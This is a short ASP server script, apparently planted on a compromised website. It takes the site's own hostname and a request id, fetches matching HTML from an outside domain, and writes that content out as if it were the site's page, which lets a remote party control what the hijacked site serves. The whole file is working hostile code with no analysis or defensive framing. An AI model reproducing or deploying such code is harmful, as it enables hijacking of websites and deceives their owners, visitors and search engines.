<% d=Request("id") if d ="" then d = 0 end if na=Request.ServerVariables("SERVER_NAME") url = "http://xufengmonth9.com/m9caidao2/"& na &"/" & d &".html" a=GetHttpPage(url,"utf-8") Response.write a response.end Function GetHttpPage(url, charset) Dim http Set http = Server.createobject("Msxml2.ServerXMLHTTP") http.Open "GET", url, false http.Send() If http.readystate<>4 Then Exit Function End If GetHttpPage = BytesToStr(http.ResponseBody, charset) Set http = Nothing End function Function BytesToStr(body, charset) Dim objStream Set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode = 3 objStream.Open objStream.Write body objStream.Position = 0 objStream.Type = 2 objStream.Charset = charset BytesToStr = objStream.ReadText objStream.Close Set objStream = Nothing End Function %>